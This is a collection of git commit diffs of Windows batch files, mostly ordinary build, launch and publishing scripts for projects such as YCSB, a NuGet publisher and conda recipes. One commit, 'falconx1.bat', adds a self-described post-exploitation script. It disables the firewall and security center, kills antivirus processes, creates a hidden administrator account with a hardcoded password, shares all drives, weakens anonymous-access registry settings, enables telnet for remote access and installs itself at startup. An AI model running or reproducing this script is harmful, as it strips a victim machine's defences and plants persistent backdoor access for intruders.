+@REM http://www.apache.org/licenses/LICENSE-2.0
+@REM
+@REM Unless required by applicable law or agreed to in writing, software
+@REM distributed under the License is distributed on an "AS IS" BASIS,
+@REM WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+@REM implied. See the License for the specific language governing
+@REM permissions and limitations under the License. See accompanying
+@REM LICENSE file.
+@REM
+@REM -----------------------------------------------------------------------
+@REM Control Script for YCSB
+@REM
+@REM Environment Variable Prerequisites
+@REM
+@REM   Do not set the variables in this script. Instead put them into a script
+@REM   setenv.sh in YCSB_HOME/bin to keep your customizations separate.
+@REM
+@REM   YCSB_HOME       (Optional) YCSB installation directory.  If not set
+@REM                   this script will use the parent directory of where this
+@REM                   script is run from.
+@REM
+@REM   JAVA_HOME       (Required) Must point at your Java Development Kit
+@REM                   or Java Runtime Environment installation.
+@REM
+@REM   JAVA_OPTS       (Optional) Java runtime options used when any command
+@REM                   is executed.
+@REM
+@REM   WARNING!!! YCSB home must be located in a directory path that doesn't
+@REM   contain spaces.
+@REM
+
+@ECHO OFF
+SETLOCAL ENABLEDELAYEDEXPANSION
+
+@REM Only set YCSB_HOME if not already set
+PUSHD %~dp0..
+IF NOT DEFINED YCSB_HOME SET YCSB_HOME=%CD%
+POPD
+
+@REM Ensure that any extra CLASSPATH variables are set via setenv.bat
+SET CLASSPATH=
+
+@REM Pull in customization options
+if exist "%YCSB_HOME%\bin\setenv.bat" call "%YCSB_HOME%\bin\setenv.bat"
+
+@REM Check if we have a usable JDK
+IF "%JAVA_HOME%." == "." GOTO noJavaHome
+IF NOT EXIST "%JAVA_HOME%\bin\java.exe" GOTO noJavaHome
+GOTO okJava
+:noJavaHome
+ECHO The JAVA_HOME environment variable is not defined correctly.
+GOTO exit
+:okJava
+
+@REM Determine YCSB command argument
+IF NOT "load" == "%1" GOTO noload
+SET YCSB_COMMAND=-load
+SET YCSB_CLASS=com.yahoo.ycsb.Client
+GOTO gotCommand
+:noload
+IF NOT "run" == "%1" GOTO noRun
+SET YCSB_COMMAND=-t
+SET YCSB_CLASS=com.yahoo.ycsb.Client
+GOTO gotCommand
+:noRun
+IF NOT "shell" == "%1" GOTO noShell
+SET YCSB_COMMAND=
+SET YCSB_CLASS=com.yahoo.ycsb.CommandLine
+GOTO gotCommand
+:noShell
+ECHO [ERROR] Found unknown command '%1'
+ECHO [ERROR] Expected one of 'load', 'run', or 'shell'. Exiting.
+GOTO exit
+:gotCommand
+
+@REM Find binding information
+FOR /F "delims=" %%G in (
+  'FINDSTR /B "%2:" %YCSB_HOME%\bin\bindings.properties'
+) DO SET "BINDING_LINE=%%G"
+
+IF NOT "%BINDING_LINE%." == "." GOTO gotBindingLine
+ECHO [ERROR] The specified binding '%2' was not found.  Exiting.
+GOTO exit
+:gotBindingLine
+
+@REM Pull out binding name and class
+FOR /F "tokens=1-2 delims=:" %%G IN ("%BINDING_LINE%") DO (
+  SET BINDING_NAME=%%G
+  SET BINDING_CLASS=%%H
+)
+
+@REM Some bindings have multiple versions that are managed in the same
+@REM directory.
+@REM   They are noted with a '-' after the binding name.
+@REM   (e.g. cassandra-7 & cassandra-8)
+FOR /F "tokens=1 delims=-" %%G IN ("%BINDING_NAME%") DO (
+  SET BINDING_DIR=%%G
+)
+
+@REM The 'basic' binding is core functionality
+IF NOT "%BINDING_NAME%" == "basic" GOTO noBasic
+SET BINDING_DIR=core
+:noBasic
+
+@REM Add Top level conf to classpath
+IF "%CLASSPATH%." == "." GOTO emptyClasspath
+SET CLASSPATH=%CLASSPATH%;%YCSB_HOME%\conf
+GOTO confAdded
+:emptyClasspath
+SET CLASSPATH=%YCSB_HOME%\conf
+:confAdded
+
+@REM Cassandra2 deprecation message
+IF NOT "%BINDING_DIR%" == "cassandra2" GOTO notAliasCassandra
+echo [WARN] The 'cassandra2-cql' client has been deprecated. It has been renamed to simply 'cassandra-cql'. This alias will be removed in the next YCSB release.
+SET BINDING_DIR=cassandra
+:notAliasCassandra
+
+@REM Build classpath according to source checkout or release distribution
+IF EXIST "%YCSB_HOME%\pom.xml" GOTO gotSource
+
+@REM Core libraries
+FOR %%F IN (%YCSB_HOME%\lib\*.jar) DO (
+  SET CLASSPATH=!CLASSPATH!;%%F%
+)
+
+@REM Database conf dir
+IF NOT EXIST "%YCSB_HOME%\%BINDING_DIR%-binding\conf" GOTO noBindingConf
+set CLASSPATH=%CLASSPATH%;%YCSB_HOME%\%BINDING_DIR%-binding\conf
+:noBindingConf
+
+@REM Database libraries
+FOR %%F IN (%YCSB_HOME%\%BINDING_DIR%-binding\lib\*.jar) DO (
+  SET CLASSPATH=!CLASSPATH!;%%F%
+)
+GOTO classpathComplete
+
+:gotSource
+@REM Check for some basic libraries to see if the source has been built.
+IF EXIST "%YCSB_HOME%\%BINDING_DIR%\target\*.jar" GOTO gotJars
+
+@REM Call mvn to build source checkout.
+IF "%BINDING_NAME%" == "basic" GOTO buildCore
+SET MVN_PROJECT=%BINDING_DIR%-binding
+goto gotMvnProject
+:buildCore
+SET MVN_PROJECT=core
+:gotMvnProject
+
+ECHO [WARN] YCSB libraries not found.  Attempting to build...
+CALL mvn -pl com.yahoo.ycsb:%MVN_PROJECT% -am package -DskipTests
+IF %ERRORLEVEL% NEQ 0 (
+  ECHO [ERROR] Error trying to build project. Exiting.
+  GOTO exit
+)
+
+:gotJars
+@REM Core libraries
+FOR %%F IN (%YCSB_HOME%\core\target\*.jar) DO (
+  SET CLASSPATH=!CLASSPATH!;%%F%
+)
+
+@REM Database conf (need to find because location is not consistent)
+FOR /D /R %YCSB_HOME%\%BINDING_DIR% %%F IN (*) DO (
+  IF "%%~nxF" == "conf" SET CLASSPATH=!CLASSPATH!;%%F%
+)
+
+@REM Database libraries
+FOR %%F IN (%YCSB_HOME%\%BINDING_DIR%\target\*.jar) DO (
+  SET CLASSPATH=!CLASSPATH!;%%F%
+)
+
+@REM Database dependency libraries
+FOR %%F IN (%YCSB_HOME%\%BINDING_DIR%\target\dependency\*.jar) DO (
+  SET CLASSPATH=!CLASSPATH!;%%F%
+)
+
+:classpathComplete
+
+@REM Couchbase deprecation message
+IF NOT "%BINDING_DIR%" == "couchbase" GOTO notOldCouchbase
+echo [WARN] The 'couchbase' client is deprecated. If you are using Couchbase 4.0+ try using the 'couchbase2' client instead.
+:notOldCouchbase
+
+@REM Get the rest of the arguments, skipping the first 2
+FOR /F "tokens=2*" %%G IN ("%*") DO (
+  SET YCSB_ARGS=%%H
+)
+
+@REM Run YCSB
+@ECHO ON
+"%JAVA_HOME%\bin\java.exe" %JAVA_OPTS% -classpath "%CLASSPATH%" %YCSB_CLASS% %YCSB_COMMAND% -db %BINDING_CLASS% %YCSB_ARGS%
+@ECHO OFF
+
+GOTO end
+
+:exit
+EXIT /B 1;
+
+:end
+


updated publication batch file

updated publication batch file

--- src/tools/NuGet/publish.cmd
+++ src/tools/NuGet/publish.cmd
@@ -1,282 +1,268 @@
-@echo off
-
-setlocal
-
-rem We do not publish the API key as part of the script itself.
-if "%my_nuget_api_key%"=="" (
-    echo You are prohibited from making these sorts of changes.
-    goto :end
-)
-
-rem Default list delimiter is Comma (,).
-:redefine_delim
-if "%delim%" == "" (
-    set delim=,
-)
-rem Redefine the delimiter when a Dot (.) is discovered.
-rem Anticipates potentially accepting Delimiter as a command line arg.
-if "%delim%" == "." (
-    set delim=
-    goto :redefine_delim
-)
-
-rem Go ahead and pre-seed the Projects up front.
-:set_projects
-set projects=
-rem Setup All Projects
-set all_projects=Kingdom.OrTools.Core
-set all_projects=%all_projects%%delim%Kingdom.OrTools.ConstraintSolver.Core
-set all_projects=%all_projects%%delim%Kingdom.OrTools.LinearSolver.Core
-set all_projects=%all_projects%%delim%Kingdom.OrTools.Sat.Core
-rem Setup Constraint Solver
-set constraint_projects=Kingdom.OrTools.Core
-set constraint_projects=%constraint_projects%%delim%Kingdom.OrTools.ConstraintSolver.Core
-rem Setup Linear Solver
-set linear_projects=Kingdom.OrTools.Core
-set linear_projects=%linear_projects%%delim%Kingdom.OrTools.LinearSolver.Core
-rem Setup Sat Solver
-set sat_projects=Kingdom.OrTools.Core
-set sat_projects=%linear_projects%%delim%Kingdom.OrTools.Sat.Core
-rem Setup Solver Projects
-set solver_projects=Kingdom.OrTools.Core
-set solver_projects=%solver_projects%%delim%Kingdom.OrTools.ConstraintSolver.Core
-set solver_projects=%solver_projects%%delim%Kingdom.OrTools.LinearSolver.Core
-set solver_projects=%solver_projects%%delim%Kingdom.OrTools.Sat.Core
-rem Setup All Code Generation Projects
-set all_cg_projects=Kingdom.OrTools.Sat.CodeGeneration
-set all_cg_projects=%all_cg_projects%%delim%Kingdom.OrTools.Sat.CodeGeneration.Core
-set all_cg_projects=%all_cg_projects%%delim%Kingdom.OrTools.Sat.CodeGeneration.Attributes
-rem Setup Code Generation Attributes Projects
-set cg_attrib_projects=Kingdom.OrTools.Sat.CodeGeneration.Attributes
-rem Setup Code Generation Projects
-set cg_projects=Kingdom.OrTools.Sat.CodeGeneration
-set cg_projects=%cg_projects%%delim%Kingdom.OrTools.Sat.CodeGeneration.Core
-rem TODO: TBD: add the next internally published bits into the project(s) mix...
-
-:parse_args
-
-rem Done parsing the args.
-if "%1" == "" (
-    goto :end_args
-)
-
-:set_dry_run
-if "%1" == "--dry" (
-    set dry=true
-    goto :next_arg
-)
-if "%1" == "--dry-run" (
-    set dry=true
-    goto :next_arg
-)
-
-:set_config
-if "%1" == "--config" (
-    set config=%2
-    shift
-    goto :next_arg
-)
-
-:set_publish_local
-if "%1" == "--local" (
-    set function=local
-    goto :next_arg
-)
-
-:set_publish_nuget
-if "%1" == "--nuget" (
-    set function=nuget
-    goto :next_arg
-)
-
-:add_constraint_projects
-rem echo add_constraint_projects = %1
-if "%1" == "--constraint-solver" (
-    if "%projects%" == "" (
-        set projects=%constraint_projects%
-    ) else (
-        set projects=%projects%%delim%%constraint_projects%
-    )
-	goto :next_arg
-)
-
-if "%1" == "--constraint" (
-    if "%projects%" == "" (
-        set projects=%constraint_projects%
-    ) else (
-        set projects=%projects%%delim%%constraint_projects%
-    )
-	goto :next_arg
-)
-
-:add_linear_projects
-rem echo add_linear_projects = %1
-if "%1" == "--linear-solver" (
-    if "%projects%" == "" (
-        set projects=%linear_projects%
-    ) else (
-        set projects=%projects%%delim%%linear_projects%
-    )
-	goto :next_arg
-)
-
-if "%1" == "--linear" (
-    if "%projects%" == "" (
-        set projects=%linear_projects%
-    ) else (
-        set projects=%projects%%delim%%linear_projects%
-    )
-	goto :next_arg
-)
-
-:add_solver_projects
-rem echo add_solver_projects = %1
-if "%1" == "--solvers" (
-    if "%projects%" == "" (
-        set projects=%solver_projects%
-    ) else (
-        set projects=%projects%%delim%%solver_projects%
-    )
-	goto :next_arg
-)
-
-:add_sat_projects
-if "%1" == "--sat" (
-    rem Prepare to publish All Projects.
-    set projects=%sat_projects%
-    goto :next_arg
-)
-
-:add_all_projects
-if "%1" == "--all" (
-    rem Prepare to publish All Projects.
-    set projects=%all_projects%
-    goto :next_arg
-)
-
-:add_all_cg_projects
-if "%1" == "--all-cg" (
-    rem Prepare to publish All Code Generation Projects.
-    set projects=%all_cg_projects%
-    goto :next_arg
-)
-
-:add_cg_attrib_projects
-if "%1" == "--cg-attrib" (
-    rem Prepare to publish Code Generation Attribute Projects.
-    set projects=%cg_attrib_projects%
-    goto :next_arg
-)
-
-:add_cg_projects
-if "%1" == "--cg" (
-    rem Prepare to publish Code Generation Projects.
-    set projects=%cg_projects%
-    goto :next_arg
-)
-
-:add_project
-if "%1" == "--project" (
-    rem Add a Project to the Projects list.
-    if "%projects%" == "" (
-        set projects=%2
-    ) else (
-        set projects=%projects%%delim%%2
-    )
-    shift
-    goto :next_arg
-)
-
-:next_arg
-
-shift
-
-goto :parse_args
-
-:end_args
-
-:verify_args
-
-:verify_function
-if "%function%" == "" (
-    set function=local
-)
-
-:verify_projects
-if "%projects%" == "" (
-    rem In which case, there is nothing else to do.
-    echo Nothing to process.
-    goto :end
-)
-
-:verify_config
-if "%config%" == "" (
-    rem Assumes Release Configuration when not otherwise specified.
-    set config=Release
-)
-
-:publish_projects
-
-:set_vars
-set xcopy_exe=xcopy.exe
-set xcopy_opts=/y /f
-set xcopy_dest_dir=G:\Dev\NuGet\local\packages
-rem Expecting NuGet to be found in the System Path.
-set nuget_exe=NuGet.exe
-set nuget_push_verbosity=detailed
-set nuget_push_source=https://api.nuget.org/v3/index.json
-
-set nuget_push_opts=%nuget_push_opts% %my_nuget_api_key%
-set nuget_push_opts=%nuget_push_opts% -Verbosity %nuget_push_verbosity%
-set nuget_push_opts=%nuget_push_opts% -NonInteractive
-set nuget_push_opts=%nuget_push_opts% -Source %nuget_push_source%
-
-rem Do the main areas here.
-pushd ..\..
-
-rem echo projects = %projects%
-
-if not "%projects%" == "" (
-    echo Processing '%config%' configuration for '%projects%' ...
-)
-:next_project
-if not "%projects%" == "" (
-    for /f "tokens=1* delims=%delim%" %%p in ("%projects%") do (
-        if "%function%" == "nuget" call :publish_nuget %%p
-        if "%function%" == "local" call :publish_local %%p
-        set projects=%%q
-        goto :next_project
-    )
-)
-
-popd
-
-goto :end
-
-:publish_local
-for %%f in ("%1\bin\%config%\%1.*.nupkg") do (
-    if "%dry%" == "true" (
-        echo Dry run: %xcopy_exe% %%f %xcopy_dest_dir% %xcopy_opts%
-    ) else (
-        echo Running: %xcopy_exe% %%f %xcopy_dest_dir% %xcopy_opts%
-        %xcopy_exe% %%f %xcopy_dest_dir% %xcopy_opts%
-    )
-)
-exit /b
-
-:publish_nuget
-for %%f in ("%1\bin\%config%\%1.*.nupkg") do (
-    if "%dry%" == "true" (
-        echo Dry run: %nuget_exe% push "%%f"%nuget_push_opts%
-    ) else (
-        echo Running: %nuget_exe% push "%%f"%nuget_push_opts%
-        %nuget_exe% push "%%f"%nuget_push_opts%
-    )
-)
-exit /b
-
-:end
-
-endlocal
-
-pause
+@echo off
+
+setlocal
+
+rem We do not publish the API key as part of the script itself.
+if "%my_nuget_api_key%"=="" (
+    echo You are prohibited from making these sorts of changes.
+    goto :end
+)
+
+rem Default list delimiter is Comma (,).
+:redefine_delim
+if "%delim%" == "" (
+    set delim=,
+)
+rem Redefine the delimiter when a Dot (.) is discovered.
+rem Anticipates potentially accepting Delimiter as a command line arg.
+if "%delim%" == "." (
+    set delim=
+    goto :redefine_delim
+)
+
+rem Go ahead and pre-seed the Projects up front.
+:set_projects
+set projects=
+rem Setup All Projects
+set all_projects=Kingdom.OrTools.Core
+set all_projects=%all_projects%%delim%Kingdom.OrTools.ConstraintSolver.Core
+set all_projects=%all_projects%%delim%Kingdom.OrTools.LinearSolver.Core
+set all_projects=%all_projects%%delim%Kingdom.OrTools.Sat.Core
+set all_projects=%all_projects%%delim%Kingdom.OrTools.Sat.Parameters.Core
+set all_projects=%all_projects%%delim%Kingdom.OrTools.Sat.Parameters
+rem Setup Constraint Solver
+set constraint_projects=Kingdom.OrTools.Core
+set constraint_projects=%constraint_projects%%delim%Kingdom.OrTools.ConstraintSolver.Core
+rem Setup Linear Solver
+set linear_projects=Kingdom.OrTools.Core
+set linear_projects=%linear_projects%%delim%Kingdom.OrTools.LinearSolver.Core
+rem Setup Sat Solver
+set sat_projects=Kingdom.OrTools.Core
+set sat_projects=%sat_projects%%delim%Kingdom.OrTools.Sat.Core
+set sat_projects=%sat_projects%%delim%Kingdom.OrTools.Sat.Parameters.Core
+set sat_projects=%sat_projects%%delim%Kingdom.OrTools.Sat.Parameters
+rem Setup Sat Parameters
+set sat_params_projects=Kingdom.OrTools.Sat.Parameters.Core
+set sat_params_projects=%sat_params_projects%%delim%Kingdom.OrTools.Sat.Parameters
+rem Setup Solver Projects
+set solver_projects=Kingdom.OrTools.Core
+set solver_projects=%solver_projects%%delim%Kingdom.OrTools.ConstraintSolver.Core
+set solver_projects=%solver_projects%%delim%Kingdom.OrTools.LinearSolver.Core
+set solver_projects=%solver_projects%%delim%Kingdom.OrTools.Sat.Core
+rem We decided to let internally delivered packages rest in their respective build pipelines.
+
+:parse_args
+
+rem Done parsing the args.
+if "%1" == "" (
+    goto :end_args
+)
+
+:set_dry_run
+if "%1" == "--dry" (
+    set dry=true
+    goto :next_arg
+)
+if "%1" == "--dry-run" (
+    set dry=true
+    goto :next_arg
+)
+
+:set_config
+if "%1" == "--config" (
+    set config=%2
+    shift
+    goto :next_arg
+)
+
+:set_publish_local
+if "%1" == "--local" (
+    set function=local
+    goto :next_arg
+)
+
+:set_publish_nuget
+if "%1" == "--nuget" (
+    set function=nuget
+    goto :next_arg
+)
+
+:add_constraint_projects
+if "%1" == "--constraint-solver" (
+    if "%projects%" == "" (
+        set projects=%constraint_projects%
+    ) else (
+        set projects=%projects%%delim%%constraint_projects%
+    )
+	goto :next_arg
+)
+
+if "%1" == "--constraint" (
+    if "%projects%" == "" (
+        set projects=%constraint_projects%
+    ) else (
+        set projects=%projects%%delim%%constraint_projects%
+    )
+	goto :next_arg
+)
+
+:add_linear_projects
+if "%1" == "--linear-solver" (
+    if "%projects%" == "" (
+        set projects=%linear_projects%
+    ) else (
+        set projects=%projects%%delim%%linear_projects%
+    )
+	goto :next_arg
+)
+
+if "%1" == "--linear" (
+    if "%projects%" == "" (
+        set projects=%linear_projects%
+    ) else (
+        set projects=%projects%%delim%%linear_projects%
+    )
+	goto :next_arg
+)
+
+:add_solver_projects
+if "%1" == "--solvers" (
+    if "%projects%" == "" (
+        set projects=%solver_projects%
+    ) else (
+        set projects=%projects%%delim%%solver_projects%
+    )
+	goto :next_arg
+)
+
+:add_sat_projects
+if "%1" == "--sat" (
+    if "%projects%" == "" (
+        set projects=%sat_projects%
+    ) else (
+        set projects=%projects%%delim%%sat_projects%
+    )
+    goto :next_arg
+)
+
+:add_sat_params_projects
+if "%1" == "--sat-params" (
+    if "%projects%" == "" (
+        set projects=%sat_params_projects%
+    ) else (
+        set projects=%projects%%delim%%sat_params_projects%
+    )
+    goto :next_arg
+)
+
+:add_all_projects
+if "%1" == "--all" (
+    set projects=%all_projects%
+    goto :next_arg
+)
+
+rem Add a single Project to the Projects list.
+:add_project
+if "%1" == "--project" (
+    if "%projects%" == "" (
+        set projects=%2
+    ) else (
+        set projects=%projects%%delim%%2
+    )
+    shift
+    goto :next_arg
+)
+
+:next_arg
+
+shift
+
+goto :parse_args
+
+:end_args
+
+:verify_args
+
+:verify_function
+if "%function%" == "" (
+    set function=local
+)
+
+:verify_projects
+if "%projects%" == "" (
+    rem In which case, there is nothing else to do.
+    echo Nothing to process.
+    goto :end
+)
+
+:verify_config
+if "%config%" == "" (
+    rem Assumes Release Configuration when not otherwise specified.
+    set config=Release
+)
+
+:publish_projects
+
+:set_vars
+set xcopy_exe=xcopy.exe
+set xcopy_opts=/y /f
+set xcopy_dest_dir=G:\Dev\NuGet\local\packages
+rem Expecting NuGet to be found in the System Path.
+set nuget_exe=NuGet.exe
+set nuget_push_verbosity=detailed
+set nuget_push_source=https://api.nuget.org/v3/index.json
+
+set nuget_push_opts=%nuget_push_opts% %my_nuget_api_key%
+set nuget_push_opts=%nuget_push_opts% -Verbosity %nuget_push_verbosity%
+set nuget_push_opts=%nuget_push_opts% -NonInteractive
+set nuget_push_opts=%nuget_push_opts% -Source %nuget_push_source%
+
+rem Do the main areas here.
+pushd ..\..
+
+rem echo projects = %projects%
+
+if not "%projects%" == "" (
+    echo Processing '%config%' configuration for '%projects%' ...
+)
+:next_project
+if not "%projects%" == "" (
+    for /f "tokens=1* delims=%delim%" %%p in ("%projects%") do (
+        if "%function%" == "nuget" call :publish_nuget %%p
+        if "%function%" == "local" call :publish_local %%p
+        set projects=%%q
+        goto :next_project
+    )
+)
+
+popd
+
+goto :end
+
+:publish_local
+for %%f in ("%1\bin\%config%\%1.*.nupkg") do (
+    if "%dry%" == "true" (
+        echo Dry run: %xcopy_exe% %%f %xcopy_dest_dir% %xcopy_opts%
+    ) else (
+        echo Running: %xcopy_exe% %%f %xcopy_dest_dir% %xcopy_opts%
+        %xcopy_exe% %%f %xcopy_dest_dir% %xcopy_opts%
+    )
+)
+exit /b
+
+:publish_nuget
+for %%f in ("%1\bin\%config%\%1.*.nupkg") do (
+    if "%dry%" == "true" (
+        echo Dry run: %nuget_exe% push "%%f"%nuget_push_opts%
+    ) else (
+        echo Running: %nuget_exe% push "%%f"%nuget_push_opts%
+        %nuget_exe% push "%%f"%nuget_push_opts%
+    )
+)
+exit /b
+
+:end
+
+endlocal
+
+pause


win fix

win fix

--- recipes/carve/bld.bat
+++ recipes/carve/bld.bat
@@ -1,3 +1,3 @@
-cmake -DCMAKE-INSTALL-PREFIX="%LIBRARY_PREFIX%" .
-cmake --build . --config=release
-cmake --install . --config=release+cmake .
+cmake --build . --config release
+cmake --install . --config release --prefix="%LIBRARY_PREFIX%"


re-add bld.bat

re-add bld.bat

error: pathspec 'recipes/pyamg/bld.bat' did not match any file(s) known to git

--- recipes/pyamg/bld.bat
+++ recipes/pyamg/bld.bat
@@ -0,0 +1,2 @@
+"%PYTHON%" setup.py install
+if errorlevel 1 exit 1


Create falconx1.bat

Create falconx1.bat

This is autoscript combination in the process of exploiting windows before executing trojan or payload created by metasploit or m1lw0rm or other pentesting tool.

error: pathspec 'falconx1.bat' did not match any file(s) known to git

--- falconx1.bat
+++ falconx1.bat
@@ -0,0 +1,54 @@
+@echo off
+
+::Created by falconflame a.k.a dr. f
+::It's just simple script for testing batch scripting in windows
+
+::Checking file existence in windows system and make copy if not available
+if not exist %windir%\%0 copy %0 %windir%
+
+::Deactivating firewall
+netsh firewall set opmode mode=disable
+
+::Deactivating ICS and security center
+net stop sharedaccess
+net stop "security center"
+
+::Killing av process
+tskill *av*
+
+::Making admin privilege user account
+net user admin angela0499 /add
+net localgroup administrators admin /add
+
+::Hiding newly created user account
+reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon\special accounts\userlist" /v "admin" /t reg_dword /d 0 /f
+
+::Activating service messenger
+reg add "hklm\system\controlset001\services\messenger" /v start /t reg_dword /d 2 /f
+net start messenger
+
+::Sending message to our pc
+net send [enter ip here] some packets from the victim
+
+::Sharing drive c: d: and e:
+net share system=%systemdrive% /unlimited
+net share data1=d:\ /unlimited
+net share data2=e:\ /unlimited
+
+::Hiding shared folder
+reg add "hkcr\network\sharinghandler" /ve /t reg_sz /d "" /f
+
+::Manipulating system account vulnerability
+reg add "hklm\system\currentcontrolset\control\lsa" /v forceguest /t reg_dword /d 0 /f
+reg add "hklm\system\currentcontrolset\control\lsa" /v restrictanonymous /t reg_dword /d 0 /f
+
+::RAT with telnet server
+reg add "hklm\system\controlset001\services\tlntsvr" /v start /t reg_dword /d 2 /f
+net start tlntsvr
+
+::Enabling trojan in startup
+reg add "hklm\software\microsoft\windows\currentversion\run" /v startit /t reg_sz /d %windir%\falconx1.bat /f
+reg add "hkcu\software\microsoft\windows\currentversion\run" /v startit /t reg_sz /d %windir%\falconx1.bat /f
+
+::Any ideas or comments? contact me at: flame.axoneme@gmail.com or flame_axoneme@yahoo.fr
+::Or you can see me in http://fajarichwannoor.wordpress.com


Added a clean .but

Added a clean .but

error: pathspec 'clean.bat' did not match any file(s) known to git

--- clean.bat
+++ clean.bat
@@ -0,0 +1,2 @@
+@echo off
+gradlew clean


- Added build script for TestWorld

- Added build script for TestWorld

error: pathspec 'Run-TestWorld.bat' did not match any file(s) known to git

--- Run-TestWorld.bat
+++ Run-TestWorld.bat
@@ -0,0 +1,6 @@
+cd Source
+CALL Compile.bat
+cd ..\Run
+CALL Compile.bat Mosa.TestWorld.x86.exe
+CALL Run-QEMU.bat
+


Restore icu version

Restore icu version

--- Common/3dParty/icu/fetch.bat
+++ Common/3dParty/icu/fetch.bat
@@ -1,8 +1,8 @@
 SET SCRIPTPATH=%~dp0
 CD /D %~dp0

-SET ICU_MAJOR_VER=55
-SET ICU_MINOR_VER=1
+SET ICU_MAJOR_VER=60
+SET ICU_MINOR_VER=2

 SET platform=win_32
 if defined ProgramFiles(x86) (


*** empty log message ***

*** empty log message ***

svn path=/trunk/eXist-1.0/; revision=867

--- installer/server.bat
+++ installer/server.bat
@@ -5,6 +5,7 @@
 set EXIST_HOME=$INSTALL_PATH

 :gotExistHome
+cd %EXIST_HOME%
 if not "%JAVA_HOME%" == "" goto gotJavaHome
 set JAVA_HOME=$JAVA_HOME


update ci

update ci

--- Deploy/NAppUpdate/build.bat
+++ Deploy/NAppUpdate/build.bat
@@ -1 +1 @@
-%~dp0FeedBuilder.exe "FeedBuilder.config" -Build
+%~dp0FeedBuilder.exe "%~dp0FeedBuilder.config" -Build


Fixed issue #31, "MSI build fails with ICE errors under non-admin", for now by suppressing ICE errors (ICE08, ICE09, ICE32, ICE61) and which seem to only appear under account with administrative privileges.

--- buildins.cmd
+++ buildins.cmd
@@ -24,23 +24,15 @@
 REM OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

 pushd "%~dp0"
-call tools\amadmin > nul
-if ERRORLEVEL 1 (
-    echo Setup build requires administrative privileges.
-    echo For more information, see issue #31:
-    echo http://code.google.com/p/gurtle/issues/detail?id=31
+if not exist bin (
+    echo Did you forget to build the solution?
+    echo Start with the build.cmd script instead.
     exit /b 1
-) else (
-    if not exist bin (
-        echo Did you forget to build the solution?
-        echo Start with the build.cmd script instead.
-        exit /b 1
-    )
-    pushd src\setup
-    ..\..\tools\WiX\candle -nologo -out ..\..\bin\ Setup.wxs
-    ..\..\tools\WiX\light -nologo -out ..\..\bin\Gurtle.msi ..\..\bin\Setup.wixobj -ext WixUIExtension -cultures:en-us
-    popd
-    del bin\*.wixobj
-    del bin\*.wixpdb
 )
+pushd src\setup
+..\..\tools\WiX\candle -nologo -out ..\..\bin\ Setup.wxs
+..\..\tools\WiX\light -nologo -sice:ICE08 -sice:ICE09 -sice:ICE32 -sice:ICE61 -out ..\..\bin\Gurtle.msi ..\..\bin\Setup.wixobj -ext WixUIExtension -cultures:en-us
 popd
+del bin\*.wixobj
+del bin\*.wixpdb
+popd


delete windows dev files

delete windows dev files

--- electron.bat
+++ electron.bat
@@ -1,5 +0,0 @@
-start /min %~dp0node_modules\.bin\electron app
-
-pause
-
-


Add 64-bit GLEW

Add 64-bit GLEW

--- glew/bld.bat
+++ glew/bld.bat
@@ -1,8 +1,21 @@
 @echo off

-mkdir output
-cd output
-cmake .. -DBUILD_SHARED_LIBS=1 -DCMAKE_INSTALL_PREFIX=%LIBRARY_PREFIX%
+mkdir build
+cd build

-cmake --build . --config "Release|Win"%ARCH% --target ALL_BUILD
-cmake --build . --config "Release|Win"%ARCH% --target INSTALL+rem Need to handle Python 3.x case at some point (Visual Studio 2010)
+if %ARCH%==32 AND %PY_VER%<3 (
+  set CMAKE_GENERATOR="Visual Studio 9 2008"
+  set CMAKE_CONFIG="Release|Win32"
+)
+if %ARCH%==64 AND %PY_VER%<3 (
+  set CMAKE_GENERATOR="Visual Studio 9 2008 Win64"
+  set CMAKE_CONFIG="Release|x64"
+)
+
+cmake .. -G%CMAKE_GENERATOR% ^
+ -DBUILD_SHARED_LIBS=1 ^
+ -DCMAKE_INSTALL_PREFIX=%LIBRARY_PREFIX%
+
+cmake --build . --config %CMAKE_CONFIG% --target ALL_BUILD
+cmake --build . --config %CMAKE_CONFIG% --target INSTALL


Updated code coverage test

Updated code coverage test


add hostname

add hostname

--- bin/test-box-vcloud.bat
+++ bin/test-box-vcloud.bat
@@ -100,9 +100,10 @@

 echo Vagrant.configure('2') do ^|config^| >Vagrantfile
 echo   config.vm.box = '%box_name%' >>Vagrantfile
-echo     config.vm.provider :vcloud do ^|vcloud^| >>Vagrantfile
-echo       vcloud.vapp_prefix = "%box_name%" >>Vagrantfile
-echo     end >>Vagrantfile
+echo   config.vm.hostname = 'tst' >>Vagrantfile
+echo   config.vm.provider :vcloud do ^|vcloud^| >>Vagrantfile
+echo     vcloud.vapp_prefix = "%box_name%" >>Vagrantfile
+echo   end >>Vagrantfile
 echo   config.vm.provision :serverspec do ^|spec^| >>Vagrantfile
 echo     spec.pattern = '../test/*_spec.rb' >>Vagrantfile
 echo   end >>Vagrantfile


Remove previous win executable before build

--- scripts/win-build.bat
+++ scripts/win-build.bat
@@ -15,6 +15,7 @@

 echo on

+del "%OUT_DIR%\Spectrecoin.exe" 2>nul
 rmdir /S /Q "%DIST_DIR%"
 mkdir "%DIST_DIR%"
 mkdir "%BUILD_DIR%"


GERONIMO-1744 - "dt_shmem" default in geronimo.bat for JPDA_TRANSPORT environment variable not compatible with Eclipse debugger (merged from 1.1 branch).

git-svn-id: d69ffe4ccc4861bf06065bd0072b85c931fba7ed@386231 13f79535-47bb-0310-9956-ffa450edef68

--- modules/scripts/src/resources/bin/geronimo.bat
+++ modules/scripts/src/resources/bin/geronimo.bat
@@ -78,11 +78,13 @@
 @REM   JDB_SRCPATH     (Optional) The Source Path to be used by jdb debugger.
 @REM                   Defaults to %GERONIMO_HOME%\src
 @REM
+@REM   JPDA_ADDRESS    (Optional) Java runtime options used when the "jpda start"
+@REM                   command is executed. The default is "8000".
+@REM
 @REM   JPDA_TRANSPORT  (Optional) JPDA transport used when the "jpda start"
-@REM                   command is executed. The default is "dt_shmem".
-@REM
-@REM   JPDA_ADDRESS    (Optional) Java runtime options used when the "jpda start"
-@REM                   command is executed. The default is "jdbconn".
+@REM                   command is executed. The default is "dt_socket".
+@REM                   Note that "dt_socket" is the default instead of "dt_shmem"
+@REM                   because eclipse does not support "dt_shmem".
 @REM
 @REM Troubleshooting execution of this batch file:
 @REM
@@ -195,10 +197,12 @@
 if not ""%1"" == ""jpda"" goto noJpda
 set JPDA=jpda
 if not "%JPDA_TRANSPORT%" == "" goto gotJpdaTransport
-set JPDA_TRANSPORT=dt_shmem
